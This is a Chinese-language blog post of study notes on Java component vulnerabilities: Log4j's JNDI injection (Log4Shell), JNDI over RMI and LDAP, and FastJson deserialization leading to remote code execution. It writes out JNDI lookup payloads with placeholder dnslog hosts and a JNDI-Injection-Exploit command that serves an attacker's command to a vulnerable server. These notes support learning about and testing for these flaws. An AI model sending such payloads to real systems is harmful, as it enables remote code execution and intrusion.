JAVA-Log4j&FastJson&JNDI
# 组件 Sec
# Log4j
Apache 的一个开源项目,通过使用 Log4j,我们可以控制日志信息输送的目的地是控制台、文件、GUI 组件,甚至是套接口服务器、NT 的事件记录器、UNIX Syslog 守护进程等;我们也可以控制每一条日志的输出格式;通过定义每一条日志信息的级别,我们能够更加细致地控制日志的生成过程。最令人感兴趣的就是,这些可以通过一个配置文件来灵活地进行配置,而不需要修改应用的代码。
# 组件安全复现
配置一下 Maven
执行简单的命令
如果 code 参数是可控的,那么就可以执行任意命令
构造 HTTP Web 服务 使用带漏洞 Log4j 版本 实现功能
潜在的安全风险:直接使用用户输入构造日志消息
- 开发源码中引用漏洞组件如 log4j
- 开发中使用组件的代码(触发漏洞代码)
- 可控变量去传递 Payload 来实现攻击
# JNDI
JNDI (Java Naming and Directory Interface,Java 命名和目录接口) 本质上是一系列通用的,标准的用来操作命名服务和目录服务的接口: 换句话说,这一系列的接口就是对操作所有命名服务和目录服务的一种超级抽象,有了这些接口我们就可以用通用的接口操作各式各样的命名服务或者是目录服务,而不需要每次与一种服务交互就写一次操作该服务的代码。它允许 Java 应用程序通过名称引用资源,如数据库连接、远程对象等。
-
反序列化常用的两种利用方式,一种是基于 RMI,一种是基于 ldap。
-
RMI 是一种行为,指的是 Java 远程方法调用。通过 RMI,对象的方法可以在远程 JVM 上被调用。
-
LDAP 指轻量级目录服务协议。LDAP 主要用于访问目录服务,这是一种树形结构的数据库,用于组织和存储信息
# JNDI 注入
原理:利用 JNDI 的 apl 接口如 RMI 或 LDAP 远程调用自己所写的危险代码实现注入。
Log4j 2.x 中的 JNDI 注入漏洞 LDAP,允许攻击者通过特制的日志消息进行远程代码执行。在这种情况下,攻击者可以利用恶意构造的 JNDI 上下文注入,执行恶意的 Java 代码。
上下文注入:
- 在某些情况下,应用程序会通过用户提供的数据构建 JNDI 上下文(InitialContext)。
- 如果应用程序在构建上下文时没有充分验证和过滤用户提供的数据,攻击者可能会尝试通过构造特殊的输入来注入恶意的 JNDI 对象。如:
${jndi:ldap://xxxx.dns.log}
通过 JNDI 注入脚本 在本地服务器上生成命令, java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C " [command] " -A "服务器ip"
在被攻击服务器上调用 JNDI 执行恶意命令
通过 dnslog 探测: ${jndi:ldap://xxx.dnslog.cn}
# FastJson
https://xz.aliyun.com/t/13409?time__1311=Gqmxu7i%3Dq7qxlxGgx%2BxCwo8EQitD8AQeLeD
FastJson:可以将 Java 对象转换为 JSON 格式,当然它也可以将 JSON 字符串转换为 Java 对象。
在前后端数据传输交互中,经常会遇到字符串 (String) 与 json,XML 等格式相互转换与解析,其中 json 以跨语言,跨前后端的优点在开发中被频繁使用,基本上是标准的数据交换格式。它的接口简单易用,已经被广泛使用在缓存序列化,协议交互,Web 输出等各种应用场景中。FastJson 是阿里巴巴的的开源库,用于对 JSON 格式的数据进行解析和打包。
对象 --> JSON:
JSON --> 对象: parseObject
(反序列化)
创建 Run 类
当用户可以控制 JSON --> 对象时的类名时,就有可能造成漏洞
# 经典的 RCE
实战中 com.Fc0.Run
并不一定,需要固定调用,通过 rmi 和 ldqp 出发远程 class 代码执行
- Title: JAVA-Log4j&FastJson&JNDI
- Author: Fc04dB
- Created at : 2024-08-30 15:49:01
- Updated at : 2024-11-04 19:05:53
- Link: https://redefine.ohevan.com/2024/08/30/JAVA-Log4j-FastJson-JNDI/
- License: This work is licensed under CC BY-NC-SA 4.0.